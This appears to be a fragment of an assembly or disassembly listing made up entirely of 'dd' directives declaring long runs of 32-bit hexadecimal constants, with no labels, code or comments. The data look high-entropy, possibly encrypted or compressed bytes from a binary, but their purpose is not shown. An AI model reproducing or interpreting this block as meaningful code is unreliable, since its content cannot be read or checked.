dd 21FA4A90h, 385DB9FEh, 602E84B7h, 0EF3A45FAh, 58D63476h
dd 0C05219ACh, 0B4D22EECh, 4C4D2788h, 81B4A8B1h, 74925172h
dd 602BF96h, 1A53B1E1h, 3CD2A5EAh, 63DFDF0Dh, 0D38B46E1h
dd 470F2160h, 0CA2EA18h, 0D6B6053Ch, 4460D42Eh, 0CC958161h
dd 529CA549h, 805F50ACh, 85DAA4C4h, 71941829h, 3821B4BDh
dd 0ADC9792Ah, 5806CDEEh, 98BD39BDh, 3043CB38h, 5D1813A0h
dd 4019B3D5h, 7F6E446h, 5B14ED6Bh, 5C9A7C38h, 2761A49Eh
dd 9D3DF7D6h, 7F7DA2C6h, 7344096Ah, 98E0960Ch, 4D54695Ch
dd 34562E1h, 0BC7F5823h, 9D2BFB9Dh, 1F885AB7h, 0ABCD516Dh
dd 29D71A31h, 342AE0AAh, 0D4C6371Ah, 0AE13E60h, 9E1208F8h
dd 333EEBFDh, 7AB8FD1Dh, 0CCCB94Bh, 33C1164Dh, 39C237AAh
dd 9EE23DF9h, 29C0E9EBh, 0BC313173h, 0BB1C9BC0h, 289D9A6h
dd 7349886Fh, 98E1D856h, 0C830E8D7h, 6813C10Fh, 97D94901h
dd 0A14F7DCCh, 0CD8E70A9h, 0A52182E6h, 0DC241C2Ah, 573290FDh
dd 55CB48FCh, 1BAF8C9Ah, 8D1707E6h, 5FAAE23Ch, 5E236BC9h
dd 968E43BBh, 595DF5BEh, 7083B8ECh, 17E5071Ah, 1B4A2F9Bh
dd 63465EA0h, 0C8E30B69h, 1C27B81h, 67605C6h, 0FD687C52h
dd 0D7A75BF0h, 369126E3h, 0F5652F99h, 0D75384CDh, 5ACDD42Ah
dd 273C0ACBh, 0B7B2C50h, 1F84CC8h, 8C70E829h, 0A080F4B7h
dd 69A1E0DEh, 0C658C54Ch, 4BE7343Eh, 3FFEC992h, 0D11EF33Bh
dd 6AF43CECh, 0EFB95FDBh, 4409E7A7h, 21CF08AEh, 10CA0363h
dd 84979E39h, 9D2CD90Eh, 7CB44ACBh, 56129238h, 78BA8B2Eh
dd 0C38ADA15h, 22142765h, 0F5EE0BEh, 3433EBDAh, 68C5B074h
dd 0B564ACF3h, 11F0528Ah, 57D38C3Fh, 0DF6DC84Ah, 12736CBDh
dd 0ADB47DAh, 0A4ABE506h, 9C6B3105h, 3C0509FCh, 97BF40DCh
dd 12B5721Bh, 0C1D40213h
dd 0CB86F5C4h, 5CC5E81Ch, 0BEB85726h, 0B801D0BCh, 749C0129h
dd 4A6EBFF1h, 1D5F722Eh, 7E3C7324h, 21B6D5EBh, 0E43F03E1h
dd 0CB3C2BAh, 0A348DFEBh, 0CAB2FA33h, 0C5D86F3Bh, 74505508h
dd 0A02E1918h, 1B6AAEA3h, 246E7B61h, 0A97A188Dh, 7AE344AAh
dd 64B93D8Fh, 975E1509h, 41848B4Ch, 90784126h, 0EEED50D3h
dd 0C089D32Dh, 0D1B45357h, 403302F4h, 0FCD9F740h, 0C4481AE7h
dd 0ED645A1Ah, 0EFCD009Bh, 52550FE9h, 18AD28AFh, 9FDB7C5Fh
dd 0C654EF6h, 0AD9CA009h, 94BB392Bh, 4EAE9CF6h, 0C79EE880h
dd 4CBF7242h, 9F99745Ah, 0CB56031Eh, 0FD2F76B2h, 0C4018932h
dd 0F5D4B02h, 0B75C0239h, 0DEB73723h, 29D21F5Eh, 5570F9DBh
dd 0FEF776F2h, 0C050FC09h, 0D151537Ah, 0C69560FEh, 550CA89h
dd 764D9DBh, 0B8941FFBh, 8E6F7D99h, 0ACCE6480h, 0B962FDD0h
dd 368A95AAh, 3E313E99h, 25761139h, 2120D36Ch, 2D1D26A7h
dd 0C4B17994h, 0D589C9E1h, 49810AC9h, 985B8285h, 0A4844F23h
dd 63C57C84h, 2BA4AD9Eh, 2EA72CFDh, 47352A75h, 9326410h
dd 489EACA1h, 9FAC8250h, 0ED0A7CBDh, 1792FA90h, 6C20C6D0h
dd 9205763h, 5D886CB8h, 3CA6EAB6h, 8AB556FDh, 0A51DFE02h
dd 1B2D84E6h, 433136E9h, 8DFDF02Bh, 0D7CACDA3h, 0F2994DE2h
dd 7FEF3416h, 0A9C54FF6h, 4A58D701h, 0B07AAB2Fh, 98F1BE11h
dd 3ED346D4h, 3EE6650Ah, 7CC2190Ah, 1415D556h, 0AB8335AAh
dd 6B67BB53h, 5659F252h, 0E6678FA8h, 0E960FD81h, 0B89FA10Eh
dd 0B4CBE87Eh, 23D43073h, 4792A50Dh, 0F1B93007h, 0D2E8D9CEh
dd 0AB77DD1Eh, 399B6705h, 0CC3CE67Bh, 0CC7995Ah, 0C3FC063Ch
dd 0FE0BCCBCh, 0BD8E64A7h, 0F92FA10Ah, 3B1C9304h, 2F891DD5h
dd 0A6A02988h, 0C7D3BBE8h, 0B3CBAE91h, 5C1AEC3Ah, 7D629740h
dd 41277E00h, 9A825615h, 46B74B29h, 0D39D00D8h, 5409DA33h
dd 78B63711h, 40957A09h, 0D2211B68h, 0C3A0EF3Dh, 4275B0C6h
dd 936FD3BFh, 1226D6Ch, 72AFD0C0h, 2D98EB7Ch, 885558D2h
dd 7D884AA7h, 40CCE480h, 9E90C915h, 0A670F4A0h, 0E24E9373h
dd 2088F85h, 1922645Bh, 0B67135FAh, 0F479FF7Ah, 3E2AA817h
dd 4DAFB646h, 0BF30AE61h, 90D60AF1h, 0E0FF6B4Dh, 0C14E8D25h
dd 45ECB71Fh, 23DCF8C9h, 71D984FBh, 987A596Dh, 0B9C0CF91h
dd 0D425DEFBh, 25D60A11h, 0D4A179Ah, 0FBD55FF2h, 0EB90A207h
dd 0F6AB31BDh, 0F4513F12h, 0F4FD6D99h, 9CB51A4Ah, 0EDEF77E4h
dd 33613397h, 0BC8DEDEBh, 0D211479Fh, 0DF3E1136h, 764D1AADh
dd 798BD9B5h, 0E055F25Dh, 8E50868Fh, 1CDF1652h, 0EE87446h
dd 0C9AE507Eh, 0BDAA95Fh, 0ED7A2370h, 0BFDF9D6Ch, 0A855E83Fh
dd 90E4D6Eh, 8D9A9BBBh, 6B80C72Bh, 0D25CCB53h, 0EFCA80B8h
dd 6B340736h, 59E6D292h, 53BD9CD8h, 2C0234C6h, 5892B8FFh
dd 3AB6ACA9h, 0A57EC8C3h, 0F0177A26h, 0A56FAFB7h, 3BC9E2C6h
dd 9515C384h, 0AC429B7Fh, 206E5BB3h, 27283EDh, 4EC05FF1h
dd 0A4C264F3h, 0E5EA0D66h, 0DA732ED2h, 182C60BDh, 33FBE70Dh
dd 0F2BB15CCh, 0A997696Eh, 0A4BABEF4h, 69CF3F67h, 0D7AF358Dh
dd 0D77D6336h, 8403F097h, 25C83444h, 6CD9060Dh, 0C7D9D62Ch
dd 14D365ABh, 0E917B4B1h, 4979146Bh, 333506B4h, 3D2473FBh
dd 4A644EE0h, 0D2C2691h, 3C0D3701h, 8905184Ah, 85D7D048h
dd 60E305EBh, 4B967541h, 0F7CAF4C5h, 7FB83E1Ah, 49B6F39Eh
dd 0B9420123h, 0A8F49F9Ah, 30C9E188h, 0B9F6B58Fh, 191266AEh
dd 0E2F046E4h, 0F3E2EE9h, 0E89B11B6h, 8994ADC4h, 7EADA6AFh
dd 10414B5Dh, 0A1635C82h, 0B603EDF3h, 7AA4D503h, 0F3B9C29Eh
dd 81FF29AFh, 3AEB2F9Eh, 0BE8B9017h, 0F8CAF7D6h, 0B0405664h
dd 0C050CE32h, 86DFB1A0h, 6F974C8Dh, 0A9E6AEA5h, 3D93D71Bh
dd 59848249h, 268EAB98h, 0BBB342E4h, 0C2249125h, 3E5F03DFh
dd 0E38674FCh, 2FA37A96h, 0A420FAE7h, 48296E0Ah, 7D5C5C4Ah
dd 0AFAB66BCh, 0D45FC930h, 1045ABA7h, 0FF3F0762h, 7635051Ah
dd 0B87842Dh, 0B0533EE1h, 3DC83090h, 5C1FC139h, 0CE586556h
dd 85953B86h, 0C7CB5A7h, 6E672949h, 2634E872h, 0CEAB3DE2h
dd 0C897E1F0h, 46709E02h, 0DE17E7E0h, 0BC3D2619h, 15A8FD60h
dd 9303525Bh, 39D1EC53h, 0F1DB8FEBh, 0EBAFEB2Ch, 609A1D5Ah
dd 0CA7A0Fh, 5DF3636Ah, 0DF28FA6Fh, 1A83485h, 0A4542F8Fh
dd 2DB845B1h, 0F5C697C6h, 0E7302968h, 39E3DD58h, 0BB2AAD9h
dd 7B720AE8h, 8BBF4D89h, 7E9921C3h, 97C9D979h, 0AE72D67Bh
dd 8E4401Fh, 0D48EA30Fh, 0F060BB9Eh, 0AA2B6A3Bh, 26E0FBBAh
dd 1605C62Dh, 572D51EFh, 9A83E5C2h, 325FE379h, 0F99E739h
dd 76A4657h, 3EE6696Fh, 0BD9F7C7Eh, 4F0121A5h, 7429872Fh
dd 0F3E1BA7Eh, 0F3255A01h, 2B8BC2DEh, 97CDD77Ch, 0FEE081A9h
dd 58EF8747h, 34DB5DC1h, 207B4F83h, 0CBB535B9h, 0F6B94FC8h
dd 91666A61h, 6C016280h, 0CD341C8Dh, 0E9B87BDBh, 0CB5F902Fh
dd 0B283604Ah, 0AF490288h, 0F403222Fh, 871C879Ah, 343F75A9h
dd 62EA9782h, 2C9909Ah, 1E21C2A7h, 55AF0590h, 0A8673A09h
dd 7C723D5Fh, 13712592h, 73915498h, 452DB49Bh, 84D40305h
dd 88EB0367h, 357B79D2h, 7CAB5354h, 37352C51h, 454F7203h
dd 80AB9213h, 1680Eh, 0B5FFFD8Eh, 2BB7D7F8h, 43B6BAE5h
dd 8F194B43h, 0D878B23Bh, 4567E71Dh, 0E42BDF25h, 0B60273D8h
dd 69ED708Dh, 40628BFFh, 0DDF450FDh, 56CFCDDh, 0EB20243Ah
dd 1C8DB98Ch, 0FB759DE6h, 54DF885Eh, 0C01A903Bh, 2B770B9Eh
dd 5CFD5BEEh, 35FB837Bh, 0FB15B82Dh, 0E7FFF238h, 0EC26471Dh
dd 569B27A0h, 0CA800E84h, 2164C1BCh, 0A28D4E79h, 1DBB2BA4h
dd 0E94C98E7h, 1273D135h, 51CB9F49h, 207D259Eh, 0A1A5AD06h
dd 7ACCA2B9h, 0F83D1921h, 0E09845DCh, 64184FBDh, 67397CFDh
dd 0A4DA8919h, 97613E85h, 3C765687h, 0F36AD104h, 0B0B12638h
dd 1B9C40DAh, 4B1FDEC9h, 0DC439FCCh, 72369EF4h, 0B40FEBE9h
dd 0CFA76DA4h, 535A6087h, 0A91102Bh, 0F52770DCh, 7C9DFFE9h
dd 0A8B1F76Fh, 0C16BB74h, 0DC6164A5h, 0EEDBF87Ch, 781B1B2Dh
dd 0C34D5A6Eh, 8C33B148h, 0E9B20AB6h, 113CEBD0h, 4169564Ch
dd 419EED44h, 75D28A0Ch, 77C0A26Fh, 1C34A9D6h, 151B99FEh
dd 60F29660h, 4B2D1A60h, 68B696D7h, 9296EB19h, 0EC67CBF6h
dd 0F9213AA6h, 35285C01h, 1B94B550h, 0FB53BB77h, 9FE709FCh
dd 0F4723248h, 1EB8B64Ah, 0D77FA037h, 0BFEB8F81h, 0F617DDAh
dd 3C4E203Ch, 0A4171127h, 4F8D6DE7h, 80D2520Ah, 1F6DAF59h
dd 6A02D93Ah, 540258DFh, 8570B672h, 544B5DCDh, 0B7A7A768h
dd 91F0BBEEh, 0A61A8145h, 5FF6B340h, 0DC37ABC6h, 9B8F64B5h
dd 6F1DC97Ah, 6F6E5A96h, 0D63975BCh, 7623726h, 0F8F0FF1Ch
dd 7069A8C7h, 0E0701C61h, 7326512Bh, 7C777612h, 0C15BA0EBh
dd 7DE54628h, 40151B1Ah, 516F81E0h, 28EE8FABh, 2D056E69h
dd 8F61B5D8h, 76C5EF05h, 0D0EACAC5h, 0EE30BCBFh, 7FD67C7h
dd 4141D8A3h, 715BE75Dh, 0FFE1345Dh, 60C50048h, 534F858Fh
dd 5C199722h, 7BF23547h, 4B53757h, 47B768BCh, 0CC7E76ABh
dd 0C2080150h, 52674D80h, 0EE8DC565h, 6589045h, 2FDEC007h
dd 0B021E6A7h, 0B7825182h, 74FA4501h, 0E5A7E8FDh, 984807C0h
dd 0EE56210h, 2312A5ABh, 0C8E61AAFh, 70ABE527h, 0ED48F848h
dd 0F153E464h, 0C78F2A91h, 818447D0h, 76809A24h, 73D2890Dh
dd 63102564h, 0DFAAE3B2h
dd 2C47F8FFh, 0CFF87268h, 0B1CBA3FFh, 0CA05BB61h, 6D621E9Ah
dd 730BDD3h, 0B8307D08h, 6BE66421h, 5F0A45CDh, 0A85DE3B8h
dd 7509A35Ch, 0CA85528Eh, 0B9C06BAFh, 1389D9A0h, 5B64150Fh
dd 5DBF3C3Bh, 98D09F54h, 0B5F8AA8Dh, 0CDD44EEAh, 15F40A3h
dd 9406F0DCh, 61A66DFh, 6FAE0FCh, 0C4B10A48h, 6BD9E138h
dd 0EC449D5Ah, 0C2E99869h, 0DCF8E4Bh, 0E9D7D3E0h, 5C48F75Bh
dd 0E27183A1h, 1A2B1440h, 65343CE1h, 0B94CB050h, 5155CF24h
dd 73BAA4DCh, 0E0523AA4h, 158A4D49h, 5A803E7Fh, 0A4B1F1B5h
dd 0A8AC0793h, 1823C09h, 0A18E5F82h, 2E17CD04h, 77E7A3E9h
dd 6AA4D3B5h, 60543F33h, 0C2D6A465h, 0D04A7B67h, 329C07E8h
dd 0D1E607F9h, 22B1482Bh, 0F92A9446h, 0E6D231D4h, 57C18FDCh
dd 7FBDAB5Bh, 0A125D32Ch, 9738F153h, 317BB788h, 641822F0h
dd 9FA511E7h, 0B307FB81h, 59F13D85h, 0EF8BA6B7h, 0E913C04Ah
dd 0E95255A4h, 207C97B0h, 9C52E486h, 0BD355FA8h, 0F592B0C2h
dd 9F3685EDh, 5EEC9E63h, 6E6D029Ch, 0BB0F6957h, 97B2072Eh
dd 0FD51145Fh, 156F44F7h, 69881FB5h, 0C3DEF3B9h, 818166ACh
dd 65F7431Eh, 282DACCDh, 13991507h, 5914432Dh, 90915043h
dd 0D824CB6Dh, 183BAB01h, 5F65B25Dh, 73D270E3h, 0E8B45316h
dd 4994C780h, 47571FF7h, 7FDCD71Ah, 0E8FB3637h, 960B5E95h
dd 0F2A67889h, 461A6C35h, 0F64AD22Eh, 9EDABD1Bh, 6CCDAD09h
dd 0A1DB15ADh, 30A3CA5Dh, 79419F7Dh, 0AEF5F889h, 0A4A8712Dh
dd 8A50154h, 0F3DC1121h, 0DB8C9F8Bh, 1BF526A1h, 5040E3A6h
dd 83B35505h, 121A48A2h, 0E49791DBh, 0F2AC3DA0h, 5E87BF13h
dd 0DF5368F6h, 0D4644A67h, 5744A201h, 5CA37F71h, 7A3EEF1Bh
dd 2537C01Ah, 0B07040C5h, 0CE5B1B6Ah, 0F1ED269h, 7A9F34h
dd 0EE83035Dh, 1A67F75Ah, 522E6077h, 18B55953h, 0E1A2DE97h
dd 24EB2265h, 2EBD2149h, 0EFFF3BEDh, 0BDAB1E3Bh, 51FC3595h
dd 7354E245h, 0A1992ABAh, 76C72C04h, 58DC5622h, 0D254EDDCh
dd 0E840462Bh, 0F8AD1415h, 57DDA4EEh, 0DF9B7100h, 0C01237DEh
dd 0C720AD1Eh, 0EEDED3E4h, 5DF0C7BDh, 63FBECEh, 1182113Bh
dd 93E6DEAEh, 2A9FE0B8h, 86CA59ACh, 0F499E8F6h, 423F0E94h
dd 0CF275549h, 8C0D2B67h, 0AB0F381Ch, 0F9D5F494h, 824EE36Ah
dd 72A18963h, 342A40E4h, 66E30E0Dh, 90185B58h, 0B81A6156h
dd 60233691h, 0BA3CF3C6h, 4BC7D1C2h, 9B40ED41h, 638BFCF1h
dd 6512B10h, 0B1A179F8h, 0AB00246Ah, 0ABB21D27h, 67169BA8h
dd 50F4CBC2h, 8EFBE68Ch, 56B48813h, 62810810h, 0DCF0EA7h
dd 0C1DEF684h, 0D5DF947Fh, 0B2CD896Eh, 0A11F75EDh, 8E67C2A3h
dd 0FBAC6324h, 0DD84EE54h, 55C5CDBEh, 622FF5CCh, 20BA3ACCh
dd 267D2E3Dh, 0CDFF1BD7h, 3861FA3h, 0E076CBF8h, 0A0BA2913h
dd 0D3E6363Ah, 50D6CE4Fh, 6A8CA0E1h, 0AF21D46Dh, 4F5AE38Ah
dd 3409AB62h, 37A200F1h, 69BE618Bh, 20769578h, 0F03180EFh
dd 4A692A00h, 0B423DF58h, 0C4A8EA48h, 0D180FB2Ah, 0E523E606h
dd 51572339h, 87CF5E84h, 0B94BAD07h, 96CA82DDh, 8F62CD9Eh
dd 1644EA3Bh, 6082DE77h, 993C6F7h, 1EEA20A0h, 0A01E29ABh
dd 21525FC7h, 0F71AFE68h, 0B4916C4Ah, 2967060h, 2F624827h
dd 3B85C51Bh, 9E2CD3Dh, 68426166h, 0B60635A0h, 9F06B580h
dd 5B7687DBh, 0A8A1F3CCh, 0FACB0855h, 5F9ED12h, 796A02F0h
dd 0CA7BFBCDh, 126B88B1h, 5A1A2DF7h, 89056686h, 0FE61FB26h
dd 774F6DA0h, 0ED14896h, 0AAC6F9AFh, 49C412C9h, 30A5B041h
dd 0F980A4B5h, 1A92C16Ch, 28C6334Dh, 6DAC2C22h, 0D1B2E772h
dd 5E11BD79h, 4EA5EA5Ah, 0BD8FC6B0h, 0F97A8FFEh, 72384E1h
dd 538B8DFDh, 0F8D2B433h, 0C0187DA4h, 8BF0BDC0h, 0E941B54Bh
dd 8941ADE4h, 0AAFFA251h, 4528A522h, 9F0E16DCh, 2DC85329h
dd 0F90BEBF6h, 0E2CF9D46h, 67D5C3C9h, 66C2ACE6h, 0F5543314h
dd 5889944Eh, 332CBC50h, 0E375048h, 5D95B972h, 8B471AAFh
dd 0A3A7F82Fh, 1897E959h, 0B9C24DDAh, 400D8B0Eh, 30318774h
dd 87AD309Ch, 54FF5D33h, 0B95F86B3h, 46F8FDE0h, 6B0FED7Ah
dd 3DCF5C8h, 460A7C27h, 62A6AAFCh, 0F5F1DB25h, 0B472E065h
dd 6EE8A30Dh, 4DA41B97h, 88D57387h, 6CF2E59Ah, 5050B014h
dd 0A6907781h, 57AECBE1h, 5454B483h, 1FC051F7h, 0D1F7B1Ch
dd 76486B6Ch, 0D07ABA7Bh, 16B3FDE7h, 0BEECA64Ah, 66E70CAh
dd 0B8A926F3h, 2ADAAF5Dh, 0E668C720h, 0BDC35ED0h, 16801166h
dd 0D35CB7F7h, 0C9126CA6h, 8FDB6223h, 0FD9A8E65h, 0D24F1FF6h
dd 749F04F0h, 0D5244131h, 5A3616E6h, 0DD72EEDDh, 6D80E7F1h
dd 0A4410ADCh, 7442CAB5h, 0CBA095D5h, 43C080D9h, 85F46955h
dd 544A52FAh, 56A15412h, 8BC09C8Fh, 0EB1F5B06h, 77759B51h
dd 0BAB230D7h, 3599FF80h, 603A8FADh, 0EFA282F7h, 0ECDB1D0Fh
dd 7468D27Dh, 0D9546FD4h, 0AD5AD41Ch, 5895663h, 97A6725Dh
dd 80FEB0C9h, 9E55D7C4h, 702870B8h, 62F0507Bh, 7E697FCCh
dd 0F573043Fh, 0FAA5213Ch, 0BE5106FBh, 5D67EE59h, 364B8DE0h
dd 664BE6D3h, 22A04FECh, 8A505586h, 693D730Ch, 6046642Ch
dd 0A9C5CDF1h, 9A74C442h, 4CC90FB6h, 7725E837h, 3451FFCDh
dd 0F16DA3A4h, 4D067533h, 2211F796h, 905AEC86h, 46C528BFh
dd 0D6B0472Ah, 6A286101h, 0DF807FBCh, 3476E908h, 86F17D10h
dd 187FFE2Dh, 3F889B02h, 4A40FF9Ch, 0BF34C9D2h, 0C7246725h
dd 0BEDEC8A0h, 0B5CD0BD1h, 0D4C04202h, 32C770C5h, 7D96F541h
dd 3940B21Dh, 0DAA9BD4Eh, 0D2D3AA1Ah, 67BF0B61h, 51DD665Dh
dd 63FA2727h, 6442628Ah, 0FA62EF89h, 4D950F4h, 0E0522C68h
dd 4E1C097h, 5D6C7C08h, 0D0AA926Fh, 0D4231438h, 0F030090Ah
dd 31538498h, 17D09637h, 23B44EFDh, 0F3198AB9h, 277609C5h
dd 0B1A5704Eh, 0F1ED48DBh, 61F352A5h, 325B98E7h, 91C6E1B1h
dd 0F968EFF8h, 605900C5h, 743E9BFCh, 53E3FF10h, 0C844F429h
dd 0CD4F8A3h, 98F7737Fh, 1A44F36Dh, 36ECBCC4h, 79B4DA5Ah
dd 0ABBCE03Ch, 0E67474Bh, 0EE0CD9F0h, 0E0A91CAEh, 0A1A7C691h
dd 0F2D6FE06h, 65E61A10h, 0B39ABF89h, 0C50C6785h, 0E2041B30h
dd 94EC035Fh, 0FA8C71D2h, 0CE155EF6h, 0FF1A1EE5h, 551DE39Dh
dd 962B93C6h, 0FA07E5CAh, 8C9B812Dh, 2459032Bh, 0D4A1FF39h
dd 676F6084h, 2AFF31D9h, 8961A737h, 99D1AAA0h, 902BCEEFh
dd 66ACB140h, 6AA22DAAh, 8EC95D76h, 0D987DC23h, 8E1B1BE3h
dd 937A6F91h, 80A08EF9h, 9CFE91Ch, 65C0F23Fh, 4CD1F1EEh
dd 0BCFC463Ch, 304E840Ah, 1E334AEFh, 688AE2DDh, 3FFC2E59h
dd 8A56EC9Fh, 0AC7A08C7h, 7134F25Ah, 182379EAh, 49A9EB6Dh
dd 0C1380065h, 0AA7880ADh, 0C96BCE50h, 9DBFB0FCh, 0F5BF10B0h
dd 0D4F2BBCAh, 6981AAF9h, 0C7140CAEh, 45192CEFh, 0DAB50782h
dd 953EB513h, 491819A9h, 4AC6C841h, 0A1071C66h, 0D470E571h
dd 677C7566h, 0A8E1726Dh, 52C61AFEh, 0E2EA587Eh, 0F715BE17h
dd 47CC3AFFh, 0E5E03958h, 0E94FB046h, 4533088Bh, 81945420h
dd 0D733093Fh, 8736F9ADh, 662BF356h, 1001D2CBh, 0E5E8ACB5h
dd 6BA08E5Bh, 4128F1FCh, 82C8AF81h, 1FB2C566h, 84E20FC9h
dd 420A7B47h, 0DF88E8B3h, 8B191DFEh, 0D073C258h, 845CB71Ch
dd 80EE4F16h, 0D5A5B564h, 89830E9h, 2979C695h, 5C945089h
dd 794859AEh, 0A3E1FE40h, 0AC165FCFh, 328BFE29h, 0CFCF1EB9h
dd 0CC4E2CA3h, 3E6C301Ah
dd 1EA87070h, 9CF15AEFh, 6A7B1111h, 3BE24608h, 0E4FDE6F2h
dd 70EE243Eh, 0EFA35EC2h, 0F256C639h, 2F25F6Eh, 880EDFE8h
dd 4C539DFh, 384A8878h, 2C1307E1h, 4DE11926h, 5FA1AA4Bh
dd 11B62B5Eh, 8D4E15C6h, 5AB0F006h, 0CF19531Eh, 0AE48AE77h
dd 0C39D7C88h, 9183C336h, 2DD8414Ch, 3C86751Eh, 0BC01F74Fh
dd 3C647627h, 1C585EC8h, 0E2D51245h, 0E5C57FE4h, 0F9A8DF87h
dd 0F27C06EBh, 21DEBBD4h, 987EFC53h, 0B0261616h, 0C2815DB0h
dd 0DF591684h, 0B6DBE85Dh, 1F9F748Ah, 16E0F3EDh, 0AB66AF3Fh
dd 8BD64BAAh, 4F48663Fh, 5C5156C6h, 0B1C2FA43h, 91C07991h
dd 0A9091C82h, 0E15905FCh, 0BC3C898Fh, 1B7105AEh, 773DB0A5h
dd 56CC9EB6h, 850E74D1h, 0AD256458h, 0E71B910Ch, 0D99F26BEh
dd 0FA81C0F8h, 0E31B46B8h, 0E680D889h, 890E5566h, 0B224F05Fh
dd 0F6F3D51Dh, 5902A9C2h, 0F2942E76h, 0DDBC3E66h, 277525D1h
dd 0C31543F0h, 51DCF171h, 7A8D76DEh, 2AC5BDF4h, 0A86712F3h
dd 0A274CDAAh, 45A4BF1Ch, 0D4BD3D1Dh, 0EE352757h, 391C4D91h
dd 220CC296h, 86EF77D6h, 53703EF1h, 96986CAEh, 7CA2624Fh
dd 0D34C03D8h, 702F9702h, 0DB557DF4h, 82330888h, 52C8D724h
dd 2B42F399h, 12EFA14Eh, 0A949EE23h, 4A0A8657h, 19BC389Fh
dd 0BAD1E40h, 0B9AD41E7h, 0F98B1086h, 2AF808A1h, 24E8E302h
dd 6B268011h, 41085E30h, 42091368h, 45952017h, 6FF2AAC8h
dd 7CF5C0A1h, 0CB53C03Ah, 0D9D7EEA1h, 3171F86Eh, 0CC225752h
dd 9DCD97A8h, 91959401h, 0A7BDA85Ah, 68B94B0Eh, 0B1EE7AACh
dd 6A66D4A3h, 50709F6Dh, 38E2F2A3h, 4B8C42F2h, 0B29D524Bh
dd 0C0C8DEA3h, 534A32CAh, 32DB8470h, 0BB4894BDh, 8A299B2h
dd 0D365904Ah, 17C71D4Bh, 0E31BF326h, 4AF40A2Bh, 97F3B967h
dd 0E149FB0Fh, 0F37DB58Dh, 37327408h, 64C13754h, 0F0CC4FC4h
dd 988F16EAh, 0F0CB2459h, 0A4D6B00Fh, 538639A7h, 0C337265Bh
dd 40708411h, 0D5F2C0C7h, 0C8CEF317h, 7065926h, 9DA33800h
dd 0B74C6BF0h, 7AC638D5h, 7D2BCF9Bh, 6415253Fh, 0C5435948h
dd 8741BEFEh, 344AF20Ch, 12197ADBh, 0FC861785h, 1509A984h
dd 0D47D3D98h, 9526E8C1h, 6D2CBF0h, 89C0A7E6h, 4DE4D00Fh
dd 88AE8CA2h, 0A69B33EEh, 43C1FBB4h, 0C7B2E0C9h, 41239C81h
dd 9A439521h, 0FFA67DBBh, 6F7C70ABh, 966A1C77h, 52DBC48Fh
dd 3E02CE8Ah, 0D72EFBA4h, 5970AD1Dh, 5EA77ADFh, 4062962Fh
dd 3A0ABA41h, 0AEC82C2h, 5B6CD292h, 8A78B04Ah, 2F34F804h
dd 0FE3619E6h, 1845A512h, 76CAC180h, 422C801h, 70D48BF4h
dd 723E04ECh, 826509D9h, 0FBCB3F3Bh, 1FF43BD8h, 1A29AFBCh
dd 0DE0B690Dh, 5767EB82h, 0BE31EE42h, 70ABD489h, 0D371BB33h
dd 988EB085h, 237489C6h, 351DCA96h, 0F645E7B4h, 7125228Fh
dd 6C90E48h, 4DC0EA5h, 1146184Bh, 38E0811Eh, 0E2E1E085h
dd 0BEC44CEBh, 15A9570Ch, 6397EA3Bh, 3DD479C4h, 3F3097ADh
dd 6F092549h, 4C202A4h, 0A44F8D6Fh, 0D85D6ADBh, 0B0076216h
dd 0EE92E946h, 5127119Dh, 8C5AC80Dh, 33544DF6h, 7E6EA4DDh
dd 7635F7C6h, 2559F748h, 0BDD463CCh, 45B56A61h, 0A2061FD6h
dd 2BE08478h, 6072DA52h, 0FBBE9517h, 0EA6032DEh, 2F5E164Ah
dd 62599C66h, 4074FDC4h, 0B03D52E2h, 8F42D6F4h, 0D199785h
dd 6BF80231h, 874AAE5Eh, 7E3C6077h, 0DD50695Bh, 4CA86319h
dd 8EB9BE4Eh, 2BF7C0B7h, 563FA680h, 8D8FB831h, 8B5171Bh
dd 42240A1Ch, 35E15D8Eh, 8DD91D02h, 0F23CF63Dh, 0F9ADC466h
dd 0C2733457h, 4F2303EDh, 40DC97E9h, 1F2E0114h, 0BCC5F650h
dd 5EA649DBh, 446EC3D3h, 26B897B0h, 5D1AAD4h, 0C0EC8A2h
dd 0F1E1B139h, 29DBDADCh, 4B46F7B5h, 0F1D2492Bh, 8A23E11Eh
dd 88CD3447h, 0B20C00C9h, 109CD6D3h, 17D57D12h, 28D1CCAEh
dd 490855B9h, 7BCA930Ah, 19F82377h, 60EA0BAh, 0C3158B88h
dd 0EE15BDC3h, 0F84470EDh, 24BA71AFh, 498822E6h, 290E3439h
dd 1763F92h, 9E3C63BBh, 1DF0606h, 78C319FFh, 893A4778h
dd 4E1BB1D5h, 91940598h, 33F88BB3h, 0BC3116D0h, 0B95E6145h
dd 6792E7A2h, 31EA1D1Bh, 6122136Eh, 2F5A187Ah, 29B38ED3h
dd 7016F7FAh, 8EC64A96h, 41977F3Bh, 0B33C9140h, 0A2F81C23h
dd 43D36629h, 0C86996E9h, 7BB4A0CBh, 9B56669Eh, 421F6A7Fh
dd 94F50C64h, 0EDCEC9F9h, 0B73EE6CFh, 65771929h, 42015977h
dd 511E97D5h, 4108176Bh, 910D9398h, 6C668593h, 6C16BD1Ch
dd 0D4C7C74Ah, 0A1F0A936h, 0AE79F5B9h, 0D5F8FAD3h, 0F0951119h
dd 5051DB52h, 9375EFF2h, 53910574h, 15E86EBAh, 1602B1Bh
dd 0FF023D24h, 904236B4h, 0D0DDB2B0h, 0DB0078DDh, 0F06111AFh
dd 88DF8202h, 5733329Ah, 884AF734h, 266F754Eh, 0B1A5DF1Fh
dd 0B6C4E246h, 0CECEA1BEh, 0D6B08F6Fh, 0E3C508BDh, 98BAF6Ch
dd 6E96E8F6h, 0E70B29Ah, 0C0AAE6F6h, 6B0C5492h, 0A5C0704Bh
dd 0DA106BBEh, 0D72356E9h, 6927EE95h, 0C2FDA52Ch, 0DFA082C0h
dd 28173097h, 4CE9640Ch, 0EBAF6C5h, 6E64B897h, 0E0B005BCh
dd 6167C23Dh, 0CFE433BFh, 0CAE26643h, 0B4E7E646h, 8CED486Dh
dd 9226BDB1h, 0C9A14003h, 65225FD9h, 4A70974Ah, 0F7ED9D62h
dd 6E52B1E8h, 83BDFEFCh, 8DEFC74h, 0DDCA78D6h, 0F8656C73h
dd 89B72A88h, 719A471Eh, 35AC662Bh, 4AA67B1Ch, 0B09DB6EEh
dd 0AA92AF7Eh, 0C87AF38Bh, 427F244h, 3B3B26Eh, 8C2AEF20h
dd 2A806878h, 0E037541Ah, 4BCFB9D3h, 0E0E525BDh, 411B3E24h
dd 8EF49990h, 6D44E2E2h, 6B457C3Ch, 488D8E24h, 23F50CD3h
dd 547C054Eh, 0A4ECD353h, 9B17A0E2h, 5E8404AFh, 5DF4D404h
